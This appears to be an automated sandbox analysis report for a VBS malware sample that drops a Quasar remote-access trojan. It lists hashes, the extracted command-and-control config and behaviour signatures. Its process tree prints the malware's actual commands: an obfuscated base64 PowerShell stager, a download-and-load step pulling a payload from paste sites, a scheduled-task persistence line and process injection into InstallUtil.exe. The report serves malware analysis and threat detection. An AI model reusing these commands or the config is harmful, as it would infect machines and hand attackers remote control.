Analysis
-
max time kernel
146s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
27-09-2023 09:17
Static task
static1
Behavioral task
behavioral1
Sample
e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs
Resource
win10v2004-20230915-en
General
-
Target
e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs
-
Size
163KB
-
MD5
11f76a33d09caf69b8ade7f6f2410bf3
-
SHA1
e8058ec22549d5d144389b3feaa4f594df1f6d20
-
SHA256
e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123
-
SHA512
59bd6405abff46700f10136ceb12a887d0403e3f61e7ba55f3787ade85595f7def2062bed401f9f304f04d9727cda87e0189f42980c90a1f195844e087c92a2c
-
SSDEEP
3072:iKfIfffo4fffff/oofTffgoff4ZyRKNP85LQG:m
Malware Config
Extracted
https://textbin.net/raw/ezjmofz3s6
Extracted
quasar
2.7.0.0
Venom Client
crazydns.linkpc.net:3000
ER5Ojs5Por1j5joXR6
-
encryption_key
HHtj6qkHuyo7mzRB7Q0O
-
install_name
Venom.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Venom Client Startup
Signatures
-
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4200-60-0x0000000000400000-0x0000000000510000-memory.dmp family_quasar -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 15 4868 powershell.exe 18 4868 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hpfWZL.lnk powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 37 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4868 set thread context of 4200 4868 powershell.exe InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 2968 powershell.exe 2968 powershell.exe 4868 powershell.exe 4868 powershell.exe 1544 powershell.exe 4452 powershell.exe 4452 powershell.exe 1544 powershell.exe 4868 powershell.exe 4868 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeInstallUtil.exedescription pid process Token: SeDebugPrivilege 2968 powershell.exe Token: SeDebugPrivilege 4868 powershell.exe Token: SeDebugPrivilege 1544 powershell.exe Token: SeDebugPrivilege 4452 powershell.exe Token: SeDebugPrivilege 4200 InstallUtil.exe -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
WScript.exepowershell.exepowershell.execmd.exedescription pid process target process PID 4508 wrote to memory of 2968 4508 WScript.exe powershell.exe PID 4508 wrote to memory of 2968 4508 WScript.exe powershell.exe PID 2968 wrote to memory of 4868 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 4868 2968 powershell.exe powershell.exe PID 4868 wrote to memory of 1544 4868 powershell.exe powershell.exe PID 4868 wrote to memory of 1544 4868 powershell.exe powershell.exe PID 4868 wrote to memory of 2012 4868 powershell.exe cmd.exe PID 4868 wrote to memory of 2012 4868 powershell.exe cmd.exe PID 4868 wrote to memory of 4452 4868 powershell.exe powershell.exe PID 4868 wrote to memory of 4452 4868 powershell.exe powershell.exe PID 2012 wrote to memory of 452 2012 cmd.exe schtasks.exe PID 2012 wrote to memory of 452 2012 cmd.exe schtasks.exe PID 4868 wrote to memory of 3672 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 3672 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 3672 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 4200 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 4200 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 4200 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 4200 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 4200 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 4200 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 4200 4868 powershell.exe InstallUtil.exe PID 4868 wrote to memory of 4200 4868 powershell.exe InstallUtil.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒B3▒GQ▒ZQBj▒GQ▒I▒▒9▒C▒▒Jw▒w▒DI▒Mw▒n▒Ds▒J▒B5▒Gk▒b▒Bi▒G4▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bp▒G4▒cgBm▒HE▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB0▒GU▒e▒B0▒GI▒aQBu▒C4▒bgBl▒HQ▒LwBy▒GE▒dw▒v▒GU▒egBq▒G0▒bwBm▒Ho▒MwBz▒DY▒Jw▒p▒C▒▒KQ▒g▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒Gk▒bgBy▒GY▒cQ▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒QwBs▒GE▒cwBz▒Ew▒aQBi▒HI▒YQBy▒Hk▒OQ▒4▒Dk▒OQ▒5▒Dk▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒WgB4▒Es▒S▒BH▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒GI▒YQBp▒Gw▒bwBq▒Hg▒a▒Bt▒FQ▒UQB4▒C8▒Z▒Bh▒G8▒b▒Bu▒Hc▒bwBk▒C8▒bQBv▒GM▒LgBv▒Gk▒ZQB0▒HM▒YQBw▒C8▒Lw▒6▒HM▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒eQBp▒Gw▒YgBu▒C▒▒L▒▒g▒Cc▒a▒Bw▒GY▒VwBa▒Ew▒Jw▒s▒C▒▒J▒B3▒GQ▒ZQBj▒GQ▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs');powershell -command $KByHL;2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$wdecd = '023';$yilbn = 'C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs';[Byte[]] $inrfq = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($inrfq).GetType('ClassLibrary989999.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('bailojxhmTQx/daolnwod/moc.oietsap//:sptth' , $yilbn , 'hpfWZL', $wdecd, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks.exe /create /tn "Roda" /tr "wscript.exe //b //nologo 'C:\Users\Admin\AppData\Local\Temp\xx.vbs'" /sc minute /mo 1 /f & exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Roda" /tr "wscript.exe //b //nologo 'C:\Users\Admin\AppData\Local\Temp\xx.vbs'" /sc minute /mo 1 /f5⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD588be3bc8a7f90e3953298c0fdbec4d72
SHA1f4969784ad421cc80ef45608727aacd0f6bf2e4b
SHA256533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a
SHA5124fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD56fe7f2ff9f024b0658a4113e39b826fc
SHA107a0d4ec3b19b62fd409ddb60e843021ac40f1f3
SHA256e8f1c76e1435d42070f4d6c600c2301710b291674c00ef9c069508f0fea69cf1
SHA51264448c79c9070cbc179df72420c1d86d10ea2ff8ae0d9c3fed5676851cb45a64e65a9d637a1f8f41ecf4dc51c3d5ff8a689519d9ea13d9837b3f9cfaddd13979
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxa4ul2o.spe.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1544-51-0x0000025621FE0000-0x0000025621FF0000-memory.dmpFilesize
64KB
-
memory/1544-61-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmpFilesize
10.8MB
-
memory/1544-31-0x0000025621FE0000-0x0000025621FF0000-memory.dmpFilesize
64KB
-
memory/1544-30-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmpFilesize
10.8MB
-
memory/2968-11-0x0000015A1F1B0000-0x0000015A1F1C0000-memory.dmpFilesize
64KB
-
memory/2968-67-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmpFilesize
10.8MB
-
memory/2968-5-0x0000015A37FD0000-0x0000015A37FF2000-memory.dmpFilesize
136KB
-
memory/2968-13-0x0000015A1F1B0000-0x0000015A1F1C0000-memory.dmpFilesize
64KB
-
memory/2968-12-0x0000015A1F1B0000-0x0000015A1F1C0000-memory.dmpFilesize
64KB
-
memory/2968-10-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmpFilesize
10.8MB
-
memory/4200-69-0x00000000057C0000-0x0000000005D64000-memory.dmpFilesize
5.6MB
-
memory/4200-68-0x00000000748E0000-0x0000000075090000-memory.dmpFilesize
7.7MB
-
memory/4200-70-0x00000000052B0000-0x0000000005342000-memory.dmpFilesize
584KB
-
memory/4200-72-0x00000000054C0000-0x0000000005526000-memory.dmpFilesize
408KB
-
memory/4200-73-0x00000000060D0000-0x00000000060E2000-memory.dmpFilesize
72KB
-
memory/4200-60-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/4200-77-0x00000000051D0000-0x00000000051E0000-memory.dmpFilesize
64KB
-
memory/4200-76-0x00000000748E0000-0x0000000075090000-memory.dmpFilesize
7.7MB
-
memory/4200-75-0x00000000066B0000-0x00000000066BA000-memory.dmpFilesize
40KB
-
memory/4200-74-0x0000000006510000-0x000000000654C000-memory.dmpFilesize
240KB
-
memory/4200-71-0x00000000051D0000-0x00000000051E0000-memory.dmpFilesize
64KB
-
memory/4452-50-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmpFilesize
10.8MB
-
memory/4452-52-0x0000011A3FED0000-0x0000011A3FEE0000-memory.dmpFilesize
64KB
-
memory/4452-55-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmpFilesize
10.8MB
-
memory/4868-27-0x000002A1F0EC0000-0x000002A1F0ECA000-memory.dmpFilesize
40KB
-
memory/4868-23-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmpFilesize
10.8MB
-
memory/4868-24-0x000002A1F0490000-0x000002A1F04A0000-memory.dmpFilesize
64KB
-
memory/4868-26-0x000002A1F0490000-0x000002A1F04A0000-memory.dmpFilesize
64KB
-
memory/4868-64-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmpFilesize
10.8MB
-
memory/4868-25-0x000002A1F0490000-0x000002A1F04A0000-memory.dmpFilesize
64KB
-
memory/4868-56-0x000002A1F0F00000-0x000002A1F0F0A000-memory.dmpFilesize
40KB